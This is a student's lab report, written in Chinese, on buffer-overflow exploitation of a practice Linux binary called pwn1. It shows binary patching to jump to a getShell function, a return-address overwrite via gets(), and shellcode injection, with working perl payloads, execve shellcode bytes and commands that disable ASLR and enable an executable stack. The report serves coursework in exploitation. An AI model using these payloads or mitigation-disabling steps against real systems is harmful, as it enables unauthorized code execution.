1.实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

 

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

 

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

 

三个实践内容如下:

 

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

 

打开kali 虚拟机 输入命令 objdump -d pwn1 | more,得到如图反汇编结果

 

 

特别提示:显示不全,按S键 可以显示更多内容

 

Main 函数调用foo,对应机器指令为”e8d7ffffff

那我们想让它调用getShell,只要修改“d7ffffff”为 “getShell-80484ba”对应的补码就可以

用Windows计算器,47d-4ba就能得到补码,是c3ffffff.

 

接下来修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff.

 

 

修改步骤:cp pwn 1 pwn 2 ->vi pwn2 在Vi编辑器中执行如下操作:按ESC键->输入如下,将显示模式切换为16进制模式。%!xxd->查找要求改的内容/e8d7->找到后前后的内容和反汇编的对比下,确认是地方是正确的->修改d7为c3->转换16进制为原格式->%!xxd -r ->存盘退出vi ->:wq.

 

验证改动:

 

 

 

显示修改成功

 

 

 

检查pwn1中的foo函数,可以发现该函数并没有检查输入长度,预留空间长度为0x38,而gets函数则将字符串存储至0x1c处,我们便可以知道,当字符串长度超过36,33~36字节会覆盖EIP中

 

 

 2、输入指令gdb pwn1对pwn1文件进行调试

 

然后输入chenhengbo20212939123456789987654321123456789987654321作为字符串输入,利用指令info r查看各个寄存器的值、从下图中我们可以看到EIP寄存器中的值为0x65656565而c对应的ASCII码正好为65,这也正好验证了我们之前的分析,输入字符串的33-36字节的信息会覆盖EIP寄存器。

 

 

 

使用gdb对pwn1调试,输入r使程序运行,输入长度为40的字符串“chenhengbo202129391234567890987654321123456789098765432112345678900987654321”,程序出错

 

 

使用info r命令查看寄存器数值,验证推测

 

 

 

接下来便需要将31~34字节设定为getshell的入口地址

 

使用命令perl -e 'print "123456789987654321\x7d\x84\x04\x08\x0a"' > input生成十六进制字符串文件“input”,使用xxd命令验证一下生成的文件

 

 

 

 

然后用(cat input; cat) | ./pwn1命令将input作为pwn1的输入:

 

 

 

注入一个自己制作的shellcode并运行这段shellcode。

1、首先需要安装execstack

 

把prelink_0.0.20130503.orig.tar.bz2放到kali虚拟机中,利用指令sudo apt-get install libelf-dev安装libelf-dev

 

 

利用指令tar -xjvf prelink_0.0.20130503.orig.tar.bz2解压文件

 

 

 

 

进入解压后的文件夹,依次输入指令./configure,make sudo make install进行安装

 

 

 

使用命令execstack -s pwn1,将堆栈设为可执行状态

;使用execstack -q pwn1,查看文件pwn1的堆栈是否是可执行状态;使用more/proc/sys/kernel/randomize_va_space,来查看地址随机化的状态;使用echo "0"> /proc/sys/kernel/randomize_va_space,来关闭地址随机化

 

构造要注入的payload。输入命令perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr。

 

 

然后在该终端运行(cat input_shellcode;cat) | ./pwn1注入这段攻击buf,打开另一个终端,运行ps -ef | grep pwn,可以看到pwn的进程21016。

 

输入b *0x080484ae命令设置断点,输入c命令(continue)继续运行

 

 

输入x/16x 0xffffd5bc命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd5bc+0x00000004=0xffffd5c0,所以地址应为0xffffd5c0

 

2.学习中遇到的问题及解决

问题1:kali 命令行去切换目录经常报错

问题一解决:运行代码的时候,需要注意观察所在目录,然后再敲击命令

 

3.实践总结:通过这次实验自己对机器指令、十六进制、反汇编、gdb调试和BOF攻击等安全知识有了进一步的了解学习,并进行了简单的应用,对于后面的学习打下了基础,实验有一点复杂,但更多的还是理论基础,今后有机会需要补习相关理论知识,争取做到知其然并知其所以然

Posted on 2022-05-14 18:27  20212939-陈恒勃  阅读(45)  评论(0编辑  收藏  举报